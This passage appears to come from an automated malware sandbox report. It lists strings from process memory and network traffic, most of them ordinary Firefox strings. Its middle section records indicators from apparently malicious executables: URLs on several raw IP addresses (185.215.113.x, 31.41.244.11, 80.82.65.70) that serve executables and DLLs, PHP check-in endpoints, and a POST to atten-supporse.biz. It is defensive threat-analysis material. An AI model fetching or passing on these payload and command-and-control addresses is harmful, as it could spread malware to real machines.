Source: firefox.exe, 0000001B.00000002.3351773313.000001C2385E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:null, urls:["https://watch.sling.com/", "https://www.sling.com/"], windowId:null}, ["blocking", "requestHeaders"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:null, urls:["https://watch.sling.com/", "https://www.sling.com/"], windowId:null}, ["blocking", "requestHeaders"]] equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/[{incognito:null, tabId:null, types:null, urls:["https://watch.sling.com/", "https://www.sling.com/"], windowId:null}, ["blocking", "requestHeaders"]] equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A5303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A5303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D12D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3261027075.00000235A5303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001B.00000002.3624693263.000001C23CCF6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3632371300.000001C23D163000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3638368743.000001C23DB17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001B.00000002.3632371300.000001C23D15A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3628973173.000001C23CFE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3643180595.000001C23E088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: atten-supporse.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: push.services.mozilla.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: atten-supporse.biz

Source: 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/(
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: 79ddad050f.exe, 00000008.00000002.3287630527.00000000058E0000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262115190.0000000000EFB000.00000004.00000010.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exez
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeData
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exek
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe8
Source: 79ddad050f.exe, 00000008.00000002.3262371223.0000000000FFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: e051bdf457.exe, 00000009.00000002.3254990045.00000000002D4000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206
Source: e051bdf457.exe, 00000009.00000002.3265209742.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: e051bdf457.exe, 00000009.00000002.3265209742.0000000001308000.00000004.00000020.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.00000000012F3000.00000004.00000020.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3254990045.00000000002D4000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: e051bdf457.exe, 00000009.00000002.3265209742.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpD
Source: e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: e051bdf457.exe, 00000009.00000002.3265209742.0000000001328000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpS
Source: e051bdf457.exe, 00000009.00000002.3254990045.00000000003B7000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpSxS
Source: e051bdf457.exe, 00000009.00000002.3265209742.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpT
Source: e051bdf457.exe, 00000009.00000002.3254990045.00000000003B7000.00000040.00000001.01000000.0000000C.sdmp, e051bdf457.exe, 00000009.00000002.3254990045.00000000002D4000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpUser
Source: e051bdf457.exe, 00000009.00000002.3254990045.00000000002D4000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: e051bdf457.exe, 00000009.00000002.3254990045.000000000031C000.00000040.00000001.01000000.0000000C.sdmp, e051bdf457.exe, 00000009.00000002.3254990045.00000000003B7000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinit.exe
Source: e051bdf457.exe, 00000009.00000002.3254990045.00000000003B7000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: e051bdf457.exe, 00000009.00000002.3265209742.0000000001308000.00000004.00000020.00020000.00000000.sdmp, e051bdf457.exe, 00000009.00000002.3265209742.00000000012F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpl
Source: e051bdf457.exe, 00000009.00000002.3254990045.00000000003B7000.00000040.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://185.215.113.20668b591d6548ec281/sqlite3.dll
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php2
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php9001
Source: skotes.exe, 00000006.00000002.3269197197.0000000001039000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpA.
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpn
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000006.00000002.3269197197.000000000106B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpq
Source: skotes.exe, 00000006.00000002.3269197197.000000000105B000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3269197197.0000000001039000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exe
Source: skotes.exe, 00000006.00000002.3269197197.0000000001039000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exeEi
Source: skotes.exe, 00000006.00000002.3269197197.000000000105B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique2/random.exeed
Source: 4611cc433b.exe, 00000007.00000002.3265991208.0000000001099000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/
Source: 4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empI
Source: 4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empKD
Source: 4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empZDP
Source: 4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empry
Source: 4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/add?substr=mixtwo&s=three&sub=empxD
Source: 4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/download
Source: 4611cc433b.exe, 00000007.00000002.3265991208.00000000010B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/dll/key(
Source: 4611cc433b.exe, 00000007.00000003.3243631746.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000002.3290845320.000000000582C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloa)5
Source: 4611cc433b.exe, 00000007.00000003.3137633696.000000000582E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download
Source: 4611cc433b.exe, 00000007.00000003.3217243065.000000000582B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download.5
Source: 4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download0/files/download
Source: 4611cc433b.exe, 00000007.00000003.3163894941.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3112387796.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3190888969.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3217243065.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3137633696.000000000582E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download05
Source: 4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download7T
Source: 4611cc433b.exe, 00000007.00000003.3163894941.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3084697662.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3112387796.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3190888969.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3217243065.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3137633696.000000000582E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/download:5A
Source: 4611cc433b.exe, 00000007.00000003.3217243065.000000000582B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadN5
Source: 4611cc433b.exe, 00000007.00000002.3265991208.0000000001099000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadV5
Source: 4611cc433b.exe, 00000007.00000003.3243631746.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3163894941.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3084697662.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3112387796.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3190888969.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3217243065.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000002.3290845320.000000000582C000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3059188991.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3137633696.000000000582E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadX
Source: 4611cc433b.exe, 00000007.00000002.3265991208.0000000001099000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadX5
Source: 4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadaS
Source: 4611cc433b.exe, 00000007.00000002.3265991208.0000000001099000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadl
Source: 4611cc433b.exe, 00000007.00000002.3265991208.0000000001099000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadq
Source: 4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadsS
Source: 4611cc433b.exe, 00000007.00000002.3287900266.0000000005490000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/files/downloadyT
Source: 4611cc433b.exe, 00000007.00000003.3243631746.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000002.3290845320.000000000582C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/filesH5
Source: 4611cc433b.exe, 00000007.00000002.3265991208.0000000001099000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/olicies
Source: 4611cc433b.exe, 00000007.00000003.3163894941.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3084697662.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3112387796.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3190888969.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3032447752.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3217243065.000000000582B000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3059188991.000000000582E000.00000004.00000020.00020000.00000000.sdmp, 4611cc433b.exe, 00000007.00000003.3137633696.000000000582E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://80.82.65.70/x5
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 0000001B.00000002.3631873065.000001C23D017000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3651042917.000001C23ED61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
Source: 79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 79ddad050f.exe, 00000008.00000003.3032492622.0000000005919000.00000004.00000800.00020000.00000000.sdmp, 79ddad050f.exe, 0000000A.00000003.3229768373.0000000005951000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3635856106.000001C23D888000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 0000001B.00000003.3247118953.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3610402766.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3155911537.000001C23C2DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3351773313.000001C238573000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001B.00000002.3437961664.000001C23B4C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: 79ddad050f.exe, 00000008.00000003.3179670006.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000002.3262371223.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp, 79ddad050f.exe, 00000008.00000003.3093554780.0000000000F7D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
